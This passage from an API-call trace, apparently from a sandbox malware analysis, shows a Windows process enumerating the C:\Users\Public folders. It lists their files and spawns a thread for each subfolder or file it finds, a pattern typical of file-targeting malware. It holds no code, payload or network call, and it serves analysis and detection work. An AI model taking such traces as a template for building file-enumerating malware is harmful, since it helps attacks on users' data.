BaseAddress=0x40ab48) returned 1 Thread: id = 214 os_tid = 0x8a4 [0046.337] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x34) returned 0x4400e0 [0046.337] wcscpy (in: _Dest=0x4400e0, _Source="C:\\Users\\Public\\Desktop" | out: _Dest="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop" [0046.337] wcscat (in: _Dest=0x4400e0, _Source="\\" | out: _Dest="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\" [0046.337] wcscat (in: _Dest=0x4400e0, _Source="*" | out: _Dest="C:\\Users\\Public\\Desktop\\*") returned="C:\\Users\\Public\\Desktop\\*" [0046.337] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4586f0 [0046.337] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*", lpFindFileData=0x4586f0 | out: lpFindFileData=0x4586f0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440120 [0046.337] wcscmp (_String1=".", _String2=".") returned 0 [0046.337] FindNextFileW (in: hFindFile=0x440120, lpFindFileData=0x4586f0 | out: lpFindFileData=0x4586f0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.338] wcscmp (_String1="..", _String2=".") returned 1 [0046.338] wcscmp (_String1="..", _String2="..") returned 0 [0046.338] FindNextFileW (in: hFindFile=0x440120, lpFindFileData=0x4586f0 | out: lpFindFileData=0x4586f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c279c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83c279c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83c4db20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x7e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe Reader X.lnk", cAlternateFileName="ADOBER~1.LNK")) returned 1 [0046.338] wcscmp (_String1="Adobe Reader X.lnk", _String2=".") returned 1 [0046.338] wcscmp (_String1="Adobe Reader X.lnk", _String2="..") returned 1 [0046.338] FindNextFileW (in: hFindFile=0x440120, lpFindFileData=0x4586f0 | out: lpFindFileData=0x4586f0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2826d6cd, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2826d6cd, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28860dd8, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0046.338] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0046.338] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0046.338] FindNextFileW (in: hFindFile=0x440120, lpFindFileData=0x4586f0 | out: lpFindFileData=0x4586f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df21ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df21ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df21ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1 [0046.338] wcscmp (_String1="Google Chrome.lnk", _String2=".") returned 1 [0046.339] wcscmp (_String1="Google Chrome.lnk", _String2="..") returned 1 [0046.339] FindNextFileW (in: hFindFile=0x440120, lpFindFileData=0x4586f0 | out: lpFindFileData=0x4586f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x485, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 1 [0046.339] wcscmp (_String1="Mozilla Firefox.lnk", _String2=".") returned 1 [0046.339] wcscmp (_String1="Mozilla Firefox.lnk", _String2="..") returned 1 [0046.339] FindNextFileW (in: hFindFile=0x440120, lpFindFileData=0x4586f0 | out: lpFindFileData=0x4586f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x485, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 0 [0046.339] FindClose (in: hFindFile=0x440120 | out: hFindFile=0x440120) returned 1 [0046.339] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4586f0) returned 1 [0046.339] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4400e0) returned 1 [0046.339] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a9f8) returned 1 Thread: id = 215 os_tid = 0x890 [0046.340] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x38) returned 0x4400e0 [0046.340] wcscpy (in: _Dest=0x4400e0, _Source="C:\\Users\\Public\\Documents" | out: _Dest="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0046.340] wcscat (in: _Dest=0x4400e0, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0046.340] wcscat (in: _Dest=0x4400e0, _Source="*" | out: _Dest="C:\\Users\\Public\\Documents\\*") returned="C:\\Users\\Public\\Documents\\*" [0046.340] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4586f0 [0046.340] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*", lpFindFileData=0x4586f0 | out: lpFindFileData=0x4586f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440120 [0046.340] wcscmp (_String1=".", _String2=".") returned 0 [0046.340] FindNextFileW (in: hFindFile=0x440120, lpFindFileData=0x4586f0 | out: lpFindFileData=0x4586f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.340] wcscmp (_String1="..", _String2=".") returned 1 [0046.340] wcscmp (_String1="..", _String2="..") returned 0 [0046.340] FindNextFileW (in: hFindFile=0x440120, lpFindFileData=0x4586f0 | out: lpFindFileData=0x4586f0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28697d55, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28697d55, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0046.340] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0046.340] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0046.340] FindNextFileW (in: hFindFile=0x440120, lpFindFileData=0x4586f0 | out: lpFindFileData=0x4586f0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0046.340] wcscmp (_String1="My Music", _String2=".") returned 1 [0046.340] wcscmp (_String1="My Music", _String2="..") returned 1 [0046.340] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x46) returned 0x4450e0 [0046.340] wcscpy (in: _Dest=0x4450e0, _Source="C:\\Users\\Public\\Documents" | out: _Dest="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0046.340] wcscat (in: _Dest=0x4450e0, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0046.341] wcscat (in: _Dest=0x4450e0, _Source="My Music" | out: _Dest="C:\\Users\\Public\\Documents\\My Music") returned="C:\\Users\\Public\\Documents\\My Music" [0047.925] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4450e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x50c [0047.926] FindNextFileW (in: hFindFile=0x440120, lpFindFileData=0x4586f0 | out: lpFindFileData=0x4586f0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0047.926] wcscmp (_String1="My Pictures", _String2=".") returned 1 [0047.926] wcscmp (_String1="My Pictures", _String2="..") returned 1 [0047.927] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x414830 [0047.927] wcscpy (in: _Dest=0x414830, _Source="C:\\Users\\Public\\Documents" | out: _Dest="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0047.927] wcscat (in: _Dest=0x414830, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0047.927] wcscat (in: _Dest=0x414830, _Source="My Pictures" | out: _Dest="C:\\Users\\Public\\Documents\\My Pictures") returned="C:\\Users\\Public\\Documents\\My Pictures" [0047.933] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x414830, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x71c [0048.314] FindNextFileW (in: hFindFile=0x440120, lpFindFileData=0x4586f0 | out: lpFindFileData=0x4586f0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0048.314] wcscmp (_String1="My Videos", _String2=".") returned 1 [0048.314] wcscmp (_String1="My Videos", _String2="..") returned 1 [0048.314] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x48) returned 0x445270 [0048.314] wcscpy (in: _Dest=0x445270, _Source="C:\\Users\\Public\\Documents" | out: _Dest="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0048.314] wcscat (in: _Dest=0x445270, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0048.315] wcscat (in: _Dest=0x445270, _Source="My Videos" | out: _Dest="C:\\Users\\Public\\Documents\\My Videos") returned="C:\\Users\\Public\\Documents\\My Videos" [0048.315] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x445270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x69c [0048.339] FindNextFileW (in: hFindFile=0x440120, lpFindFileData=0x4586f0 | out: lpFindFileData=0x4586f0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0048.339] FindClose (in: hFindFile=0x440120 | out: hFindFile=0x440120) returned 1 [0048.339] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4586f0) returned 1 [0048.339] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4400e0) returned 1 [0048.339] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409f68) returned 1 Thread: id = 216 os_tid = 0x88c [0046.343] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x38) returned 0x440160 [0046.343] wcscpy (in: _Dest=0x440160, _Source="C:\\Users\\Public\\Downloads" | out: _Dest="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads" [0046.343] wcscat (in: _Dest=0x440160, _Source="\\" | out: _Dest="C:\\Users\\Public\\Downloads\\") returned="C:\\Users\\Public\\Downloads\\" [0046.343] wcscat (in: _Dest=0x440160, _Source="*" | out: _Dest="C:\\Users\\Public\\Downloads\\*") returned="C:\\Users\\Public\\Downloads\\*" [0046.343] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x458958 [0046.343] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*", lpFindFileData=0x458958 | out: lpFindFileData=0x458958*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4401a0 [0046.344] wcscmp (_String1=".", _String2=".") returned 0 [0046.344] FindNextFileW (in: hFindFile=0x4401a0, lpFindFileData=0x458958 | out: lpFindFileData=0x458958*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.344] wcscmp (_String1="..", _String2=".") returned 1 [0046.344] wcscmp (_String1="..", _String2="..") returned 0 [0046.344] FindNextFileW (in: hFindFile=0x4401a0, lpFindFileData=0x458958 | out: lpFindFileData=0x458958*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28351f0f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0046.344] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0046.344] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0046.344] FindNextFileW (in: hFindFile=0x4401a0, lpFindFileData=0x458958 | out: lpFindFileData=0x458958*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28351f0f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0046.344] FindClose (in: hFindFile=0x4401a0 | out: hFindFile=0x4401a0) returned 1 [0046.344] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x458958) returned 1 [0046.344] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440160) returned 1 [0046.344] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409fa8) returned 1 Thread: id = 217 os_tid = 0x884 [0046.345] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x38) returned 0x409fa8 [0046.345] wcscpy (in: _Dest=0x409fa8, _Source="C:\\Users\\Public\\Favorites" | out: _Dest="C:\\Users\\Public\\Favorites") returned="C:\\Users\\Public\\Favorites" [0046.345] wcscat (in: _Dest=0x409fa8, _Source="\\" | out: _Dest="C:\\Users\\Public\\Favorites\\") returned="C:\\Users\\Public\\Favorites\\" [0046.345] wcscat (in: _Dest=0x409fa8, _Source="*" | out: _Dest="C:\\Users\\Public\\Favorites\\*") returned="C:\\Users\\Public\\Favorites\\*" [0046.345] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x458958 [0046.345] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Favorites\\*", lpFindFileData=0x458958 | out: lpFindFileData=0x458958*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440160 [0046.345] wcscmp (_String1=".", _String2=".") returned 0 [0046.345] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x458958 | out: lpFindFileData=0x458958*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.345] wcscmp (_String1="..", _String2=".") returned 1 [0046.346] wcscmp (_String1="..", _String2="..") returned 0 [0046.346] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x458958 | out: lpFindFileData=0x458958*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0046.346] FindClose (in: hFindFile=0x440160 | out: hFindFile=0x440160) returned 1 [0046.346] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x458958) returned 1 [0046.346] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409fa8) returned 1 [0046.346] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409fe8) returned 1 Thread: id = 218 os_tid = 0x894 [0046.346] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x38) returned 0x409fe8 [0046.347] wcscpy (in: _Dest=0x409fe8, _Source="C:\\Users\\Public\\Libraries" | out: _Dest="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries" [0046.347] wcscat (in: _Dest=0x409fe8, _Source="\\" | out: _Dest="C:\\Users\\Public\\Libraries\\") returned="C:\\Users\\Public\\Libraries\\" [0046.347] wcscat (in: _Dest=0x409fe8, _Source="*" | out: _Dest="C:\\Users\\Public\\Libraries\\*") returned="C:\\Users\\Public\\Libraries\\*" [0046.347] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x458958 [0046.347] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Libraries\\*", lpFindFileData=0x458958 | out: lpFindFileData=0x458958*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409fa8 [0046.347] wcscmp (_String1=".", _String2=".") returned 0 [0046.347] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x458958 | out: lpFindFileData=0x458958*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.347] wcscmp (_String1="..", _String2=".") returned 1 [0046.347] wcscmp (_String1="..", _String2="..") returned 0 [0046.347] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x458958 | out: lpFindFileData=0x458958*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2839e1d0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2839e1d0, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288f9359, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x58, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0046.347] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0046.347] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0046.347] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x458958 | out: lpFindFileData=0x458958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2837806f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x289b7a3b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x36c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 1 [0046.347] wcscmp (_String1="RecordedTV.library-ms", _String2=".") returned 1 [0046.347] wcscmp (_String1="RecordedTV.library-ms", _String2="..") returned 1 [0046.347] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x4460b8 [0046.347] wcscpy (in: _Dest=0x4460b8, _Source="C:\\Users\\Public\\Libraries" | out: _Dest="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries" [0046.347] wcscat (in: _Dest=0x4460b8, _Source="\\" | out: _Dest="C:\\Users\\Public\\Libraries\\") returned="C:\\Users\\Public\\Libraries\\" [0046.347] wcscat (in: _Dest=0x4460b8, _Source="RecordedTV.library-ms" | out: _Dest="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms") returned="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" [0048.679] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4460b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x370 [0048.680] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x458958 | out: lpFindFileData=0x458958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2837806f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x289b7a3b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x36c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 0 [0048.680] FindClose (in: hFindFile=0x409fa8 | out: hFindFile=0x409fa8) returned 1 [0048.680] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x458958) returned 1 [0048.680] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409fe8) returned 1 [0048.680] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a028) returned 1 Thread: id = 219 os_tid = 0x8a0 [0046.348] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x30) returned 0x40a9f8 [0046.348] wcscpy (in: _Dest=0x40a9f8, _Source="C:\\Users\\Public\\Music" | out: _Dest="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music" [0046.348] wcscat (in: _Dest=0x40a9f8, _Source="\\" | out: _Dest="C:\\Users\\Public\\Music\\") returned="C:\\Users\\Public\\Music\\" [0046.348] wcscat (in: _Dest=0x40a9f8, _Source="*" | out: _Dest="C:\\Users\\Public\\Music\\*") returned="C:\\Users\\Public\\Music\\*" [0046.348] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x458bc0 [0046.348] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*", lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440160 [0046.348] wcscmp (_String1=".", _String2=".") returned 0 [0046.348] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, 